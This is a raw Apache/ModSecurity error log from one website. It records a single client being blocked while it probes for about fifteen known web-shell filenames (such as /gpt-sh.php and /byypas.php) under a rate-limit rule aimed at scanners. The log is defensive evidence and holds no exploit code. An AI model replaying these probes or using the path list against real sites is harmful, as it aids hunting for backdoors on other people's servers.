[Sun Apr 05 05:51:59.936406 2026] [:error] [pid 45409:tid 45430] [client 20.215.70.55:52841] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adGH_9Ht_Oyw03gjCNjK4QAAANM"]
[Sun Apr 05 05:52:01.132673 2026] [:error] [pid 45303:tid 45338] [client 20.215.70.55:52833] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adGIAbboQ9eViZ4hdnmCgAAAABU"]
[Sun Apr 05 05:52:01.894398 2026] [:error] [pid 45303:tid 45318] [client 20.215.70.55:7664] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ortasekerli1.php"] [unique_id "adGIAbboQ9eViZ4hdnmCgwAAAAE"]
[Sun Apr 05 05:52:02.580390 2026] [:error] [pid 45305:tid 45392] [client 20.215.70.55:64589] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adGIAujDQjr7aWhjflARYQAAAJU"]
[Sun Apr 05 05:52:03.208718 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:7754] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adGIA-jDQjr7aWhjflARZAAAAI8"]
[Sun Apr 05 05:52:03.886648 2026] [:error] [pid 45303:tid 45327] [client 20.215.70.55:7761] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adGIA7boQ9eViZ4hdnmCigAAAAo"]
[Sun Apr 05 05:52:04.437897 2026] [:error] [pid 30921:tid 30924] [client 20.215.70.55:52823] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "adGIBGFGQVn8Q0ueB25r_QAAAQE"]
[Sun Apr 05 05:52:05.158458 2026] [:error] [pid 45305:tid 45379] [client 20.215.70.55:7746] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adGIBejDQjr7aWhjflARbAAAAIg"]
[Sun Apr 05 05:52:06.235736 2026] [:error] [pid 45305:tid 45394] [client 20.215.70.55:54091] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adGIBujDQjr7aWhjflARdAAAAJc"]
[Sun Apr 05 05:52:07.053023 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:54081] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adGIB-jDQjr7aWhjflARegAAAIc"]
[Sun Apr 05 05:52:08.963760 2026] [:error] [pid 45305:tid 45387] [client 20.215.70.55:64580] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adGICOjDQjr7aWhjflARhAAAAJA"]
[Sun Apr 05 05:52:11.014005 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:7786] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adGIC-jDQjr7aWhjflARjQAAAI8"]
[Sun Apr 05 05:52:11.878359 2026] [:error] [pid 45305:tid 45391] [client 20.215.70.55:7655] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adGIC-jDQjr7aWhjflARkwAAAJQ"]
[Sun Apr 05 05:52:13.281351 2026] [:error] [pid 45409:tid 45435] [client 20.215.70.55:7641] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adGIDdHt_Oyw03gjCNjK-gAAANg"]
[Sun Apr 05 05:52:14.887111 2026] [:error] [pid 45305:tid 45380] [client 20.215.70.55:7800] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wziar1.php"] [unique_id "adGIDujDQjr7aWhjflARoAAAAIk"]
[Sun Apr 05 05:52:16.385301 2026] [:error] [pid 45305:tid 45376] [client 20.215.70.55:7648] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adGIEOjDQjr7aWhjflARqwAAAIU"]
[Sun Apr 05 05:52:17.532961 2026] [:error] [pid 30921:tid 30934] [client 20.215.70.55:54094] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adGIEWFGQVn8Q0ueB25sDgAAAQs"]
[Sun Apr 05 05:52:18.564671 2026] [:error] [pid 45303:tid 45329] [client 20.215.70.55:64595] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adGIErboQ9eViZ4hdnmCmwAAAAw"]
[Sun Apr 05 05:52:19.600568 2026] [:error] [pid 45303:tid 45324] [client 20.215.70.55:7660] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adGIE7boQ9eViZ4hdnmCnQAAAAc"]
[Sun Apr 05 05:52:20.544204 2026] [:error] [pid 45304:tid 45367] [client 20.215.70.55:7645] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adGIFA5jnqDKKovdRkkGBAAAAFc"]
[Sun Apr 05 05:52:21.233477 2026] [:error] [pid 45409:tid 45433] [client 20.215.70.55:54108] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adGIFdHt_Oyw03gjCNjLCwAAANY"]
[Sun Apr 05 05:52:22.042376 2026] [:error] [pid 45409:tid 45426] [client 20.215.70.55:7629] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adGIFtHt_Oyw03gjCNjLDAAAAM8"]
[Sun Apr 05 05:52:22.793418 2026] [:error] [pid 45305:tid 45383] [client 20.215.70.55:54080] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "adGIFujDQjr7aWhjflARuwAAAIw"]
[Sun Apr 05 05:52:23.479829 2026] [:error] [pid 45304:tid 45364] [client 20.215.70.55:64605] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "adGIFw5jnqDKKovdRkkGDgAAAFQ"]
[Sun Apr 05 05:52:24.145342 2026] [:error] [pid 45304:tid 45354] [client 20.215.70.55:7802] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "adGIGA5jnqDKKovdRkkGEgAAAEo"]
[Sun Apr 05 05:52:24.721174 2026] [:error] [pid 30921:tid 30930] [client 20.215.70.55:54133] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "adGIGGFGQVn8Q0ueB25sHQAAAQc"]
[Sun Apr 05 05:52:25.265448 2026] [:error] [pid 45409:tid 45425] [client 20.215.70.55:7673] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "adGIGdHt_Oyw03gjCNjLFgAAAM4"]
[Sun Apr 05 05:52:25.882756 2026] [:error] [pid 30921:tid 30927] [client 20.215.70.55:64616] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adGIGWFGQVn8Q0ueB25sHwAAAQQ"]
[Sun Apr 05 05:52:26.594528 2026] [:error] [pid 45305:tid 45386] [client 20.215.70.55:54121] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adGIGujDQjr7aWhjflARyQAAAI8"]
[Sun Apr 05 05:52:27.202645 2026] [:error] [pid 45305:tid 45388] [client 20.215.70.55:54107] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adGIG-jDQjr7aWhjflARzAAAAJE"]
[Sun Apr 05 05:52:27.762830 2026] [:error] [pid 45305:tid 45381] [client 20.215.70.55:52815] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adGIG-jDQjr7aWhjflAR0wAAAIo"]
[Sun Apr 05 05:52:28.696442 2026] [:error] [pid 30921:tid 30928] [client 20.215.70.55:63834] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adGIHGFGQVn8Q0ueB25sJAAAAQU"]
[Sun Apr 05 05:52:29.330688 2026] [:error] [pid 30921:tid 30939] [client 20.215.70.55:7619] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adGIHWFGQVn8Q0ueB25sJQAAARA"]
[Sun Apr 05 05:52:29.923184 2026] [:error] [pid 45305:tid 45383] [client 20.215.70.55:7659] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adGIHejDQjr7aWhjflAR3AAAAIw"]
[Sun Apr 05 05:52:30.517221 2026] [:error] [pid 30921:tid 30924] [client 20.215.70.55:54088] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws.php"] [unique_id "adGIHmFGQVn8Q0ueB25sLAAAAQE"]
[Sun Apr 05 05:52:31.230522 2026] [:error] [pid 30921:tid 30937] [client 20.215.70.55:54125] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adGIH2FGQVn8Q0ueB25sLgAAAQ4"]
[Sun Apr 05 05:52:32.247570 2026] [:error] [pid 30921:tid 30923] [client 20.215.70.55:64581] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adGIIGFGQVn8Q0ueB25sNAAAAQA"]
[Sun Apr 05 05:52:32.806510 2026] [:error] [pid 45409:tid 45417] [client 20.215.70.55:54084] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "adGIINHt_Oyw03gjCNjLJgAAAMY"]
[Sun Apr 05 05:52:33.348036 2026] [proxy_fcgi:error] [pid 45305:tid 45389] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:33.614520 2026] [proxy_fcgi:error] [pid 45305:tid 45374] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:33.873178 2026] [proxy_fcgi:error] [pid 45305:tid 45394] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:34.133822 2026] [proxy_fcgi:error] [pid 45305:tid 45371] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:34.464093 2026] [proxy_fcgi:error] [pid 45305:tid 45384] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:34.737860 2026] [proxy_fcgi:error] [pid 45305:tid 45393] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:34.996759 2026] [proxy_fcgi:error] [pid 45305:tid 45388] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:35.272640 2026] [proxy_fcgi:error] [pid 45305:tid 45377] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:35.808887 2026] [proxy_fcgi:error] [pid 45305:tid 45383] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:36.068610 2026] [proxy_fcgi:error] [pid 45305:tid 45392] [client 20.215.70.55:63821] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 05:52:36.336275 2026] [:error] [pid 45305:tid 45376] [client 20.215.70.55:63821] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adGIJOjDQjr7aWhjflAR-QAAAIU"]
[Sun Apr 05 05:52:37.547088 2026] [:error] [pid 45409:tid 45428] [client 20.215.70.55:52807] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adGIJdHt_Oyw03gjCNjLOgAAANE"]
[Sun Apr 05 05:52:39.194287 2026] [:error] [pid 45409:tid 45418] [client 20.215.70.55:64598] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adGIJ9Ht_Oyw03gjCNjLQQAAAMc"]
[Sun Apr 05 05:52:41.320844 2026] [:error] [pid 45304:tid 45361] [client 20.215.70.55:54131] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adGIKQ5jnqDKKovdRkkGKwAAAFE"]
[Sun Apr 05 05:52:42.362679 2026] [:error] [pid 45304:tid 45363] [client 20.215.70.55:54092] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adGIKg5jnqDKKovdRkkGLAAAAFM"]
[Sun Apr 05 05:52:43.551935 2026] [:error] [pid 45305:tid 45374] [client 20.215.70.55:7677] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adGIK-jDQjr7aWhjflASEQAAAIM"]
[Sun Apr 05 05:52:44.582697 2026] [:error] [pid 45305:tid 45394] [client 20.215.70.55:7765] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adGILOjDQjr7aWhjflASEwAAAJc"]
[Sun Apr 05 05:52:46.283518 2026] [:error] [pid 45304:tid 45365] [client 20.215.70.55:64634] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adGILg5jnqDKKovdRkkGMgAAAFU"]
[Sun Apr 05 05:52:47.146600 2026] [:error] [pid 45305:tid 45384] [client 20.215.70.55:7788] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adGIL-jDQjr7aWhjflASHgAAAI0"]
[Sun Apr 05 05:52:48.105455 2026] [:error] [pid 30921:tid 30929] [client 20.215.70.55:64614] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adGIMGFGQVn8Q0ueB25sSwAAAQY"]
[Sun Apr 05 05:52:49.125192 2026] [:error] [pid 45409:tid 45427] [client 20.215.70.55:7776] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adGIMdHt_Oyw03gjCNjLVgAAANA"]
[Sun Apr 05 05:52:49.748773 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:64618] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "adGIMejDQjr7aWhjflASMgAAAIc"]
[Sun Apr 05 05:52:50.566882 2026] [:error] [pid 45305:tid 45391] [client 20.215.70.55:7805] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "adGIMujDQjr7aWhjflASOAAAAJQ"]
[Sun Apr 05 05:52:51.253075 2026] [:error] [pid 45304:tid 45361] [client 20.215.70.55:64561] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "adGIMw5jnqDKKovdRkkGOQAAAFE"]
[Sun Apr 05 05:52:51.890782 2026] [:error] [pid 45303:tid 45332] [client 20.215.70.55:64620] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "adGIM7boQ9eViZ4hdnmCygAAAA8"]
